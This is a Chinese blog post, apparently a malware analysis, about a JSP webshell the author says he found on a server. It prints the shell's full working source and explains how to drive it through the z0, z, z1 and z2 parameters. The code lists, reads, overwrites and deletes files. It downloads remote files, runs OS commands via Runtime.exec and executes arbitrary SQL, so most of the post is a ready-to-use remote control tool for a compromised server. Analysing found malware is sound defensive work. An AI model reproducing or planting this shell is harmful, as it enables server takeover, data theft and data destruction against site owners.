写在前面,本文仅做为技术交流的用途,请不要使用本文中的技术破坏他人的网站及系统,因为这是违法的!!!本人不负任何法律责任!!!
19年1月份,发现了一个JSP木马文件,当时觉得有点奇怪的是,这个文件没有在上传目录,而是在相当于windows系统桌面的位置,我怀疑应该是这个木马把自己转移了。
这个木马是一个JSP文件,通过在访问该文件的时候传递参数,就能调用该文件中对应的方法,从而实现对系统的各种功能。
先上源代码:
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%! String Pwd="justtest123"; String EC(String s,String c)throws Exception{ return s; } //new String(s.getBytes("ISO-8859-1"),c);} Connection GC(String s)throws Exception{ String[] x=s.trim().split(" "); Class.forName("oracle.jdbc.driver.OracleDriver").newInstance(); Connection c=DriverManager.getConnection("jdbc:oracle:thin:@192.168.0.107:1521:test"); System.out.println("数据库连接获取完毕"); if(x.length>2){ c.setCatalog("jdbc:oracle:thin:@192.168.0.107:1521:test"); } return c; } void AA(StringBuffer sb)throws Exception{ File r[]=File.listRoots(); for(int i=0;i<r.length;i++){ sb.append(r[i].toString().substring(0,2)); } } void BB(String s,StringBuffer sb)throws Exception{ File oF=new File(s),l[]=oF.listFiles(); String sT, sQ,sF=""; java.util.Date dt; SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); for(int i=0;i<l.length;i++){ dt=new java.util.Date(l[i].lastModified()); sT=fm.format(dt); sQ=l[i].canRead()?"R":""; sQ+=l[i].canWrite()?" W":""; if(l[i].isDirectory()){ sb.append(l[i].getName()+"/ "+sT+" "+l[i].length()+" "+sQ+" "); }else{ sF+=l[i].getName()+" "+sT+" "+l[i].length()+" "+sQ+" "; } } sb.append(sF); } void EE(String s)throws Exception{ File f=new File(s); if(f.isDirectory()){ File x[]=f.listFiles(); for(int k=0;k<x.length;k++){ if(!x[k].delete()){ EE(x[k].getPath()); } } } f.delete(); } void FF(String s,HttpServletResponse r)throws Exception{ int n; byte[] b=new byte[512]; r.reset(); ServletOutputStream os=r.getOutputStream(); BufferedInputStream is=new BufferedInputStream(new FileInputStream(s)); os.write(("->"+"|").getBytes(),0,3); while((n=is.read(b,0,512))!=-1){ os.write(b,0,n); } os.write(("|"+"<-").getBytes(),0,3); os.close(); is.close(); } void GG(String s, String d)throws Exception{ String h="0123456789ABCDEF"; int n; File f=new File(s); f.createNewFile(); FileOutputStream os=new FileOutputStream(f); for(int i=0;i<d.length();i+=2){ os.write((h.indexOf(d.charAt(i))<<4|h.indexOf(d.charAt(i+1)))); } os.close(); } void HH(String s,String d)throws Exception{ File sf=new File(s),df=new File(d); if(sf.isDirectory()){ if(!df.exists()){ df.mkdir(); } File z[]=sf.listFiles(); for(int j=0;j<z.length;j++){ HH(s+"/"+z[j].getName(),d+"/"+z[j].getName()); } }else{ FileInputStream is=new FileInputStream(sf); FileOutputStream os=new FileOutputStream(df); int n; byte[] b=new byte[512]; while((n=is.read(b,0,512))!=-1){ os.write(b,0,n); } is.close(); os.close(); } } void II(String s,String d)throws Exception{ File sf=new File(s),df=new File(d); sf.renameTo(df); } void JJ(String s)throws Exception{ File f=new File(s); f.mkdir(); } void KK(String s,String t)throws Exception{ File f=new File(s); SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); java.util.Date dt=fm.parse(t); f.setLastModified(dt.getTime()); } void LL(String s, String d)throws Exception{ URL u=new URL(s); int n;FileOutputStream os=new FileOutputStream(d); HttpURLConnection h=(HttpURLConnection)u.openConnection(); InputStream is=h.getInputStream(); byte[] b=new byte[512]; while((n=is.read(b,0,512))!=-1){ os.write(b,0,n); } os.close(); is.close(); h.disconnect(); } void MM(InputStream is, StringBuffer sb)throws Exception{ String l; BufferedReader br=new BufferedReader(new InputStreamReader(is)); while((l=br.readLine())!=null){ sb.append(l+" "); } } void NN(String s,StringBuffer sb)throws Exception{ System.out.println("进入了NN方法"); Connection c=GC(s); System.out.println("GC方法执行完毕"); ResultSet r=c.getMetaData().getCatalogs(); while(r.next()){ System.out.println(r.getString(1)); sb.append(r.getString(1)+" "); } r.close(); c.close(); } void OO(String s,StringBuffer sb)throws Exception{ Connection c=GC(s); String[] t={"TABLE"}; ResultSet r=c.getMetaData().getTables (null,null,"%",t); while(r.next()){ sb.append(r.getString("TABLE_NAME")+" "); } r.close(); c.close(); } void PP(String s,StringBuffer sb)throws Exception{ String[] x=s.trim().split(" "); Connection c=GC(s); Statement m=c.createStatement(1005,1007); ResultSet r=m.executeQuery("select * from "+x[3]); ResultSetMetaData d=r.getMetaData(); for(int i=1;i<=d.getColumnCount();i++){ sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+") "); } r.close(); m.close(); c.close(); } void QQ(String cs,String s,String q,StringBuffer sb)throws Exception{ int i; Connection c=GC(s); Statement m=c.createStatement(1005,1008); try{ ResultSet r=m.executeQuery(q); ResultSetMetaData d=r.getMetaData(); int n=d.getColumnCount(); for(i=1;i<=n;i++){ sb.append(d.getColumnName(i)+" | "); } sb.append(" "); while(r.next()){ for(i=1;i<=n;i++){ sb.append(EC(r.getString(i),cs)+" | "); } sb.append(" "); } r.close(); }catch(Exception e){ sb.append("Result | "); try{ m.executeUpdate(q); sb.append("Execute Successfully! | "); }catch(Exception ee){ sb.append(ee.toString()+" | "); } } m.close(); c.close(); } %> <% String cs=request.getParameter("z0")+""; request.setCharacterEncoding(cs); response.setContentType("text/html;charset="+cs); String Z=EC(request.getParameter("z")+"",cs); String z1=EC(request.getParameter("z1")+"",cs); String z2=EC(request.getParameter("z2")+"",cs); StringBuffer sb=new StringBuffer(""); System.out.println(Z); try{ sb.append("->"+"|"); if(Z.equals("A")){ String s=new File(application.getRealPath(request.getRequestURI())).getParent(); sb.append(s+" "); if(!s.substring(0,1).equals("/")){ AA(sb); } }else if(Z.equals("B")){ BB(z1,sb); }else if(Z.equals("C")){ String l=""; BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1)))); while((l=br.readLine())!=null){ sb.append(l+" "); } br.close(); }else if(Z.equals("D")){ BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1)))); bw.write(z2); bw.close(); sb.append("1"); }else if(Z.equals("E")){ EE(z1); sb.append("1"); }else if(Z.equals("F")){ FF(z1,response); }else if(Z.equals("G")){ GG(z1,z2); sb.append("1"); }else if(Z.equals("H")){ System.out.println("进入了H"); HH(z1,z2); sb.append("1"); }else if(Z.equals("I")){ II(z1,z2); sb.append("1"); }else if(Z.equals("J")){ JJ(z1); sb.append("1"); }else if(Z.equals("K")){ KK(z1,z2); sb.append("1"); }else if(Z.equals("L")){ LL(z1,z2); sb.append("1"); }else if(Z.equals("M")){ String[] c={z1.substring(2),z1.substring(0,2),z2}; Process p=Runtime.getRuntime().exec(c); MM(p.getInputStream(),sb); MM(p.getErrorStream(),sb); }else if(Z.equals("N")){ NN(z1,sb); }else if(Z.equals("O")){ OO(z1,sb); }else if(Z.equals("P")){ PP(z1,sb); }else if(Z.equals("Q")){ QQ(cs,z1,z2,sb); } }catch(Exception e){ sb.append("ERROR"+":// "+e.toString()); } sb.append("|"+"<-"); out.print(sb.toString()); %>
简单的浏览该源代码发现该木马文件分为两部分,上边的方法区和下边的参数识别区。参数总共有四个,分别是:z0,z,z1,z2。z0传递的是字符集编码格式,一般传递的是“utf-8”。z传递的是你想要调用的方法的名字,例如,根据上面代码中的规则,z传递‘A’就表示你想要调用‘AA’方法。参数z1和z2是不同的方法所需的不同的含义的参数,也就是说,调用不同的方法,需要传递的z1和z2参数是不同的。有的方法也可能不需要传递z1和z2参数。
参数中的内容需要用urlencode转码。
我测试了一下,方法ABCDEFG的功能大概如下:(注意请不要将文中技术用于非法途径,本人不负任何法律责任)
A: 获取当前木马的绝对路径和系统所有卷标。
B: 根据z1所指示的路径返回所有文件夹名和文件名,并标注了每个记录的最后修改时间和该记录是否可读写。路径为windows绝对路径,参数要使用urlencode编码。
C: 获取指定文件的内容。z1需要精确到文件名。
D: 将z2参数中的内容覆盖性的写入z1所指定的文件中。如果写入成功页面会显示->|1|<-。
E: 删除z1参数指定的文件或目录,如果是文件直接删除,如果是文件夹,递归删除该文件夹中的文件和子文件夹。如果删除成功页面会显示->|1|<-。
F: 返回指定文件的所有内容,包括第一行
G: 没搞明白这个参数对应的方法是干什么的
本文为作者sunziren原创文章,转载请提前告知,获得许可后方可转载。转载请注明出处。
再次声明,本文仅作为技术交流研究用途,禁止进行任何非法用途的使用。